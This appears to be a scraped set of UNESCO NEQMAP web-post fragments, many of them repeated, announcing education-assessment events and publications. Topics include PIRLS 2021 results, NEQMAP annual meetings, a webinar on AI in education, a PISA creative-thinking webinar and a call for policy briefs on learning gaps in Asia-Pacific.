She and her team have, over the last decade, developed scalable, robust methods and tools that enable teachers to assess and report on learning in difficult to assess areas of the curriculum, like the general capabilities, 21st<\/sup> Century skills, agency in learning, and more. In this presentation she will explain new metrics for learning are being established that capture the full range of ambitions for learning, using next generation assessment methods that focus on the development of competence, not just knowledge or compliance to tested requirements. These assessments are used to generate next-generation credentials which provide a trusted profile of a learner, allowing them to showcase what they are truly capable of, including their successes, across the full range of valued learning. Her work has been instrumental in current initiatives to rethink the sufficiency of metrics like PISA and other standardised tests, arguing that if used on their own, they narrow the gaze of teachers and learners to what is examinable by the old methods. The next generation approaches broaden the focus and reflect more of what we think is important for learners in their 12 years of schooling. <\/p>\n\n\n\nSpeaker:\u202f<\/strong> <\/p>\n\n\n\n<figure class=\"wp-block-image alignleft size-large is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/07\/image-684x1024.webp\" alt=\"\" class=\"wp-image-5731\" width=\"156\" height=\"234\"\/><\/figure>\n\n\n\nEnterprise Professor Sandra Milligan<\/strong> is Executive Director of Melbourne Assessment at the Melbourne Graduate School of Education, University of Melbourne.

PIRLS is the first published international assessment that successfully collected data during the COVID-19 pandemic, assessing 400,000 students in 57 countries. <\/p>\n\n\n\nPIRLS 2021 was the fifth assessment cycle marking 20 years of trends, and the transition to digital assessment. Approximately half the countries evaluated students using a state-of-the-art digital assessment with engaging and interactive reading assessment materials, including simulated online projects with multiple websites, videos, and navigational features such as links and pop-ups. PIRLS 2021 collected a considerable amount of information from school principals, parents, and teachers as well. <\/p>\n\n\n\nThe five PIRLS trend assessments conducted to date resulted from close collaboration among the participating countries, involving thousands of collaborators internationally. IEA and Boston College remain committed to supporting countries in improving their education systems and ensuring that all students have access to high quality education.

PIRLS is the first published international assessment that successfully collected data during the COVID-19 pandemic, assessing 400,000 students in 57 countries. <\/p>\n\n\n\nPIRLS 2021 was the fifth assessment cycle marking 20 years of trends, and the transition to digital assessment. Approximately half the countries evaluated students using a state-of-the-art digital assessment with engaging and interactive reading assessment materials, including simulated online projects with multiple websites, videos, and navigational features such as links and pop-ups. PIRLS 2021 collected a considerable amount of information from school principals, parents, and teachers as well. <\/p>\n\n\n\nThe five PIRLS trend assessments conducted to date resulted from close collaboration among the participating countries, involving thousands of collaborators internationally. IEA and Boston College remain committed to supporting countries in improving their education systems and ensuring that all students have access to high quality education. The report, PIRLS 2021 International Results, <\/em>provides important insights into the current state of literacy education. It also serves as a fundamental resource for educators, policymakers, and researchers worldwide to monitor educational recovery from the COVID-19 pandemic.<\/p>\n\n\n\nSeven members of NEQMAP participated in PIRLS 2021.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As has been observed, the traditional classroom has its limitations, particularly in meeting the diverse needs of students. One such limitation is teacher capacity. While research emphasizes the importance of a learner-centered approach to teaching and learning, teachers often find themselves restricted by the overwhelming number of students they must instruct and routine tasks that consume valuable preparation time. Due to these factors, teachers are often limited in customizing learning experiences and feedback for every student. In Asia and the Pacific, teachers also often lack the tools, training, and necessary support for meeting these individualized learning needs, further compounding these issues. In this context, AI has emerged as a potential solution. The launch of the AI chatbot, ChatGPT, in November 2022 is a notable example of this, accumulating a record-breaking 1 million active users in less than a week, while garnering significant controversy about its use in education. As we approach a new era of education in the age of AI, our panel of top experts will explore these issues, potential consequences, and possible opportunities for education professionals.<\/p>\n\n\n\nSpeakers:<\/strong> <\/p>\n\n\n\n<figure class=\"wp-block-image alignleft size-full is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/09\/Screenshot-2023-09-14-at-2.46.12-PM.webp\" alt=\"\" class=\"wp-image-5749\" style=\"width:148px;height:175px\" width=\"148\" height=\"175\"\/><\/figure>\n\n\n\nMichela Pagano<\/strong> has been a member of UNESCO Headquarters' Unit for Technology and AI in Education since 2016, actively contributing to AI initiatives and implementing ICT projects in Africa.

As has been observed, the traditional classroom has its limitations, particularly in meeting the diverse needs of students. One such limitation is teacher capacity. While research emphasizes the importance of a learner-centered approach to teaching and learning, teachers often find themselves restricted by the overwhelming number of students they must instruct and routine tasks that consume valuable preparation time. Due to these factors, teachers are often limited in customizing learning experiences and feedback for every student. In Asia and the Pacific, teachers also often lack the tools, training, and necessary support for meeting these individualized learning needs, further compounding these issues. In this context, AI has emerged as a potential solution. The launch of the AI chatbot, ChatGPT, in November 2022 is a notable example of this, accumulating a record-breaking 1 million active users in less than a week, while garnering significant controversy about its use in education. As we approach a new era of education in the age of AI, our panel of top experts will explore these issues, potential consequences, and possible opportunities for education professionals.<\/p>\n\n\n\nSpeakers:<\/strong> <\/p>\n\n\n\n<figure class=\"wp-block-image alignleft size-full is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/09\/Screenshot-2023-09-14-at-2.46.12-PM.webp\" alt=\"\" class=\"wp-image-5749\" style=\"width:148px;height:175px\" width=\"148\" height=\"175\"\/><\/figure>\n\n\n\nMichela Pagano<\/strong> has been a member of UNESCO Headquarters' Unit for Technology and AI in Education since 2016, actively contributing to AI initiatives and implementing ICT projects in Africa.

In this webinar we discuss the PISA creative thinking assessment framework, including what is involved in the assessment and what we hope to learn from the data.<\/p>\n\n\n\nDate:<\/strong> 14 March 2023, 3:30 pm \u2013 4:45 pm Bangkok time (GMT+7)<\/p>\n\n\n\nRegistration Link: <a href=\"http:\/\/bit.ly\/41rrcfb\">http:\/\/bit.ly\/41rrcfb<\/a><\/strong><\/p>\n\n\n\nFor any questions on this webinar, please get in touch with the NEQMAP Secretariat (<a href=\"mailto:neqmap@unesco.org\">neqmap@unesco.org<\/a>)<\/p>\n","post_parent":0,"guid":"https:\/\/neqmap.bangkok.unesco.org\/?p=5651","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":5596,"post_author":"1","post_date":"2023-02-09 11:22:00","post_date_gmt":"2023-02-09 04:22:00","post_content":"\nThe NEQMAP Secretariat kindly invites all its members to join\u00a0a webinar\u00a0consultation on the needs for\u00a0\u201cIntegrating 21st<\/sup>\u00a0century skills in teaching and learning policies and practices\u201d on 24 February 2023\u00a0from 9:30 am to 11:30 am Bangkok\u00a0time (GMT+7)<\/strong>.

The focus of the NEQMAP topical case studies has been on how countries in the Asia-Pacific use learning assessment data in education policy and practice. <\/p>\n\n\n\nThe current series (the fourth issue) on <a href=\"https:\/\/neqmap.bangkok.unesco.org\/resource\/citizen-led-assessments-a-model-for-evidence-based-advocacy-and-action-to-improve-learning\/\">\u201cCitizen-led Assessments: A Model for Evidence-based Advocacy and Action to Improve Learning\u201d<\/strong><\/a> was released in June 2021. It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children.

The focus of the NEQMAP topical case studies has been on how countries in the Asia-Pacific use learning assessment data in education policy and practice. <\/p>\n\n\n\nThe current series (the fourth issue) on <a href=\"https:\/\/neqmap.bangkok.unesco.org\/resource\/citizen-led-assessments-a-model-for-evidence-based-advocacy-and-action-to-improve-learning\/\">\u201cCitizen-led Assessments: A Model for Evidence-based Advocacy and Action to Improve Learning\u201d<\/strong><\/a> was released in June 2021. It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children.

As has been observed, the traditional classroom has its limitations, particularly in meeting the diverse needs of students. One such limitation is teacher capacity. While research emphasizes the importance of a learner-centered approach to teaching and learning, teachers often find themselves restricted by the overwhelming number of students they must instruct and routine tasks that consume valuable preparation time. Due to these factors, teachers are often limited in customizing learning experiences and feedback for every student. In Asia and the Pacific, teachers also often lack the tools, training, and necessary support for meeting these individualized learning needs, further compounding these issues. In this context, AI has emerged as a potential solution. The launch of the AI chatbot, ChatGPT, in November 2022 is a notable example of this, accumulating a record-breaking 1 million active users in less than a week, while garnering significant controversy about its use in education. As we approach a new era of education in the age of AI, our panel of top experts will explore these issues, potential consequences, and possible opportunities for education professionals.<\/p>\n\n\n\nSpeakers:<\/strong> <\/p>\n\n\n\n<figure class=\"wp-block-image alignleft size-full is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/09\/Screenshot-2023-09-14-at-2.46.12-PM.webp\" alt=\"\" class=\"wp-image-5749\" style=\"width:148px;height:175px\" width=\"148\" height=\"175\"\/><\/figure>\n\n\n\nMichela Pagano<\/strong> has been a member of UNESCO Headquarters' Unit for Technology and AI in Education since 2016, actively contributing to AI initiatives and implementing ICT projects in Africa.

She and her team have, over the last decade, developed scalable, robust methods and tools that enable teachers to assess and report on learning in difficult to assess areas of the curriculum, like the general capabilities, 21st<\/sup> Century skills, agency in learning, and more. In this presentation she will explain new metrics for learning are being established that capture the full range of ambitions for learning, using next generation assessment methods that focus on the development of competence, not just knowledge or compliance to tested requirements.

She and her team have, over the last decade, developed scalable, robust methods and tools that enable teachers to assess and report on learning in difficult to assess areas of the curriculum, like the general capabilities, 21st<\/sup> Century skills, agency in learning, and more. In this presentation she will explain new metrics for learning are being established that capture the full range of ambitions for learning, using next generation assessment methods that focus on the development of competence, not just knowledge or compliance to tested requirements. These assessments are used to generate next-generation credentials which provide a trusted profile of a learner, allowing them to showcase what they are truly capable of, including their successes, across the full range of valued learning. Her work has been instrumental in current initiatives to rethink the sufficiency of metrics like PISA and other standardised tests, arguing that if used on their own, they narrow the gaze of teachers and learners to what is examinable by the old methods.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As has been observed, the traditional classroom has its limitations, particularly in meeting the diverse needs of students. One such limitation is teacher capacity. While research emphasizes the importance of a learner-centered approach to teaching and learning, teachers often find themselves restricted by the overwhelming number of students they must instruct and routine tasks that consume valuable preparation time. Due to these factors, teachers are often limited in customizing learning experiences and feedback for every student. In Asia and the Pacific, teachers also often lack the tools, training, and necessary support for meeting these individualized learning needs, further compounding these issues.

As has been observed, the traditional classroom has its limitations, particularly in meeting the diverse needs of students. One such limitation is teacher capacity. While research emphasizes the importance of a learner-centered approach to teaching and learning, teachers often find themselves restricted by the overwhelming number of students they must instruct and routine tasks that consume valuable preparation time. Due to these factors, teachers are often limited in customizing learning experiences and feedback for every student. In Asia and the Pacific, teachers also often lack the tools, training, and necessary support for meeting these individualized learning needs, further compounding these issues. In this context, AI has emerged as a potential solution. The launch of the AI chatbot, ChatGPT, in November 2022 is a notable example of this, accumulating a record-breaking 1 million active users in less than a week, while garnering significant controversy about its use in education. As we approach a new era of education in the age of AI, our panel of top experts will explore these issues, potential consequences, and possible opportunities for education professionals.<\/p>\n\n\n\nSpeakers:<\/strong> <\/p>\n\n\n\n<figure class=\"wp-block-image alignleft size-full is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/09\/Screenshot-2023-09-14-at-2.46.12-PM.webp\" alt=\"\" class=\"wp-image-5749\" style=\"width:148px;height:175px\" width=\"148\" height=\"175\"\/><\/figure>\n\n\n\nMichela Pagano<\/strong> has been a member of UNESCO Headquarters' Unit for Technology and AI in Education since 2016, actively contributing to AI initiatives and implementing ICT projects in Africa.

We welcome the collective wisdom of educational researchers and policy experts to offer insight on socio-economic background, gender, ethno-linguistic minorities, and rural and urban differences in learning outcomes.<\/p>\n\n\n\nThis series aims to:<\/p>\n\n\n\n<ol>\n<li>Inform thinking, research, and methods on evidence-based policymaking and practice in education, and<\/li>\n\n\n\n<li>Support knowledge-sharing among education stakeholders involved in assessments of student learning.<\/li>\n<\/ol>\n\n\n\nWe are currently seeking contributions to the first two briefs, focusing on (1) learning outcomes in Asia-Pacific by socio-economic background, and (2) gender. The briefs will identify learning outcome gaps, potential underlying factors, and propose promising policy solutions to ensure better learning for all, using large-scale assessment (LSA) datasets as primary source data.<\/p>\n\n\n\n1. Socio-economic Background and Learning:<\/strong> This brief will review learning outcomes of students along the socio-economic spectrum, with a particular focus on school level analysis and the concept of resilience as defined by PISA.<\/p>\n\n\n\n2. Gender and Learning:<\/strong> This brief will analyze learning outcomes of boys and girls across various competency domains, looking at socio-economic background, learners' perceptions of schools, schooling experiences, developmental and cultural factors, and school policies and practices.<\/p>\n\n\n\nContributors should focus on learning gaps in Asia-Pacific, with attention given to school-aged students in formal education. Comparable data from international, regional, and national assessments, such as PISA, TIMSS, PIRLS, SEA-PLM, PILNA etc., should be used.<\/p>\n\n\n\nFormat:<\/strong> Written policy brief (~10 to 15 pages in a WORD document)<\/p>\n\n\n\nTentative Timeline:<\/strong><\/p>\n\n\n\n<ul>\n<li>Application Deadline: July 20th, 2023<\/li>\n\n\n\n<li>Notification of Selection: July 30th, 2023<\/li>\n\n\n\n<li>Submission of Detailed Outline: Mid-August 2023<\/li>\n\n\n\n<li>Feedback from Editorial Team: End of August 2023<\/li>\n\n\n\n<li>1st Draft Submission: September 2023<\/li>\n\n\n\n<li>1st Round of Reviews and Feedback: October 2023<\/li>\n\n\n\n<li>Revision of Drafts: November 2023<\/li>\n\n\n\n<li>Publication and Launch: December 2023<\/li>\n<\/ul>\n\n\n\n<\/p>\n\n\n\nHow to Apply:<\/strong><\/p>\n\n\n\n Fill in the application form (see Annex 1) and email it to the NEQMAP Secretariat (neqmap@unesco.org) by 20th July 2023, 00:00 Bangkok time (GMT+7).

In this webinar we discuss the PISA creative thinking assessment framework, including what is involved in the assessment and what we hope to learn from the data.<\/p>\n\n\n\nDate:<\/strong> 14 March 2023, 3:30 pm \u2013 4:45 pm Bangkok time (GMT+7)<\/p>\n\n\n\nRegistration Link: <a href=\"http:\/\/bit.ly\/41rrcfb\">http:\/\/bit.ly\/41rrcfb<\/a><\/strong><\/p>\n\n\n\nFor any questions on this webinar, please get in touch with the NEQMAP Secretariat (<a href=\"mailto:neqmap@unesco.org\">neqmap@unesco.org<\/a>)<\/p>\n","post_parent":0,"guid":"https:\/\/neqmap.bangkok.unesco.org\/?p=5651","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":5596,"post_author":"1","post_date":"2023-02-09 11:22:00","post_date_gmt":"2023-02-09 04:22:00","post_content":"\nThe NEQMAP Secretariat kindly invites all its members to join\u00a0a webinar\u00a0consultation on the needs for\u00a0\u201cIntegrating 21st<\/sup>\u00a0century skills in teaching and learning policies and practices\u201d on 24 February 2023\u00a0from 9:30 am to 11:30 am Bangkok\u00a0time (GMT+7)<\/strong>.

The focus of the NEQMAP topical case studies has been on how countries in the Asia-Pacific use learning assessment data in education policy and practice. <\/p>\n\n\n\nThe current series (the fourth issue) on <a href=\"https:\/\/neqmap.bangkok.unesco.org\/resource\/citizen-led-assessments-a-model-for-evidence-based-advocacy-and-action-to-improve-learning\/\">\u201cCitizen-led Assessments: A Model for Evidence-based Advocacy and Action to Improve Learning\u201d<\/strong><\/a> was released in June 2021. It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children.

The focus of the NEQMAP topical case studies has been on how countries in the Asia-Pacific use learning assessment data in education policy and practice. <\/p>\n\n\n\nThe current series (the fourth issue) on <a href=\"https:\/\/neqmap.bangkok.unesco.org\/resource\/citizen-led-assessments-a-model-for-evidence-based-advocacy-and-action-to-improve-learning\/\">\u201cCitizen-led Assessments: A Model for Evidence-based Advocacy and Action to Improve Learning\u201d<\/strong><\/a> was released in June 2021. It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children.

As has been observed, the traditional classroom has its limitations, particularly in meeting the diverse needs of students. One such limitation is teacher capacity. While research emphasizes the importance of a learner-centered approach to teaching and learning, teachers often find themselves restricted by the overwhelming number of students they must instruct and routine tasks that consume valuable preparation time. Due to these factors, teachers are often limited in customizing learning experiences and feedback for every student. In Asia and the Pacific, teachers also often lack the tools, training, and necessary support for meeting these individualized learning needs, further compounding these issues. In this context, AI has emerged as a potential solution. The launch of the AI chatbot, ChatGPT, in November 2022 is a notable example of this, accumulating a record-breaking 1 million active users in less than a week, while garnering significant controversy about its use in education. As we approach a new era of education in the age of AI, our panel of top experts will explore these issues, potential consequences, and possible opportunities for education professionals.<\/p>\n\n\n\nSpeakers:<\/strong> <\/p>\n\n\n\n<figure class=\"wp-block-image alignleft size-full is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/09\/Screenshot-2023-09-14-at-2.46.12-PM.webp\" alt=\"\" class=\"wp-image-5749\" style=\"width:148px;height:175px\" width=\"148\" height=\"175\"\/><\/figure>\n\n\n\nMichela Pagano<\/strong> has been a member of UNESCO Headquarters' Unit for Technology and AI in Education since 2016, actively contributing to AI initiatives and implementing ICT projects in Africa.

These assessments are used to generate next-generation credentials which provide a trusted profile of a learner, allowing them to showcase what they are truly capable of, including their successes, across the full range of valued learning. Her work has been instrumental in current initiatives to rethink the sufficiency of metrics like PISA and other standardised tests, arguing that if used on their own, they narrow the gaze of teachers and learners to what is examinable by the old methods.

